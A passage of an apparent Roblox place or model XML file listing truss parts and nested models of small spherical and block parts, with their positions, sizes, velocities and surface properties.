					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1957">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1958">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-69</X>
						<Y>1.39999998</Y>
						<Z>74</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1959">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-69</X>
						<Y>33.4000015</Y>
						<Z>74</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1960">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-49</X>
						<Y>1.39999998</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1961">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-59</X>
						<Y>1.39999998</Y>
						<Z>63.9999962</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1962">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-69</X>
						<Y>1.39999998</Y>
						<Z>63.9999962</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
			<Item class="TrussPart" referent="RBX1963">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">5</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">5</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">199</int>
					<CoordinateFrame name="CFrame">
						<X>-69</X>
						<Y>33.4000015</Y>
						<Z>64</Z>
						<R00>0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">5</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">5</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Truss</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">5</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">5</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<Vector3 name="size">
						<X>2</X>
						<Y>10</Y>
						<Z>2</Z>
					</Vector3>
					<token name="style">0</token>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX1964">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX1965">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Model</string>
					<Ref name="PrimaryPart">RBX1966</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Model" referent="RBX1967">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX1968</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1968">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-20.5539246</X>
								<Y>16.8611488</Y>
								<Z>15.79317</Z>
								<R00>-0.873181283</R00>
								<R01>0.00185666105</R01>
								<R02>-0.487392157</R02>
								<R10>-0.000667837507</R10>
								<R11>0.999987245</R11>
								<R12>0.00500578573</R12>
								<R20>0.487395227</R20>
								<R21>0.00469645718</R21>
								<R22>-0.873168945</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>15.8245773</X>
								<Y>0.569049299</Y>
								<Z>-9.10582638</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1969">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1970">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.041317</X>
								<Y>16.8661575</Y>
								<Z>14.9200001</Z>
								<R00>-0.873181283</R00>
								<R01>-0.00185666105</R01>
								<R02>0.487392157</R02>
								<R10>-0.000667837507</R10>
								<R11>-0.999987245</R11>
								<R12>-0.00500578573</R12>
								<R20>0.487395227</R20>
								<R21>-0.00469645718</R21>
								<R22>0.873168945</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>13.2160416</X>
								<Y>0.547292709</Y>
								<Z>-7.64989948</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1971">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1972">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.0394611</X>
								<Y>17.8661442</Y>
								<Z>14.9246969</Z>
								<R00>-0.873181283</R00>
								<R01>0.00185666105</R01>
								<R02>-0.487392157</R02>
								<R10>-0.000667837507</R10>
								<R11>0.999987245</R11>
								<R12>0.00500578573</R12>
								<R20>0.487395227</R20>
								<R21>0.00469645718</R21>
								<R22>-0.873168945</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>13.2325602</X>
								<Y>0.547411621</Y>
								<Z>-7.68174839</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1973">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1974">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX1975</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1975">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-21.0506001</X>
								<Y>11.8662186</Y>
								<Z>14.8965187</Z>
								<R00>-0.00185666105</R00>
								<R01>-0.487392157</R01>
								<R02>0.873181283</R02>
								<R10>-0.999987245</R10>
								<R11>0.00500578573</R11>
								<R12>0.000667837507</R12>
								<R20>-0.00469645718</R20>
								<R21>-0.873168945</R21>
								<R22>-0.487395227</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Smooth Block Model</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-0.026304815</X>
								<Y>2.98744512</Y>
								<Z>-0.00248663989</Z>
							</Vector3>
							<float name="TopParamA">-0.100000001</float>
							<float name="TopParamB">0.100000001</float>
							<token name="TopSurface">7</token>
							<token name="TopSurfaceInput">12</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>13.13346</X>
								<Y>0.546698093</Y>
								<Z>-7.49064493</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1976">
					<Properties>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">RBX1977</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX1977">
						<Properties>
							<bool name="Anchored">false</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">194</int>
							<CoordinateFrame name="CFrame">
								<X>-19.8845692</X>
								<Y>14.2009954</Y>
								<Z>13.1139755</Z>
								<R00>-0.67723304</R00>
								<R01>0.551191211</R01>
								<R02>-0.487384409</R02>
								<R10>0.629030645</R10>
								<R11>0.777363896</R11>
								<R12>0.00507986406</R12>
								<R20>0.381675035</R20>
								<R21>-0.303139538</R21>
								<R22>-0.8731727</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
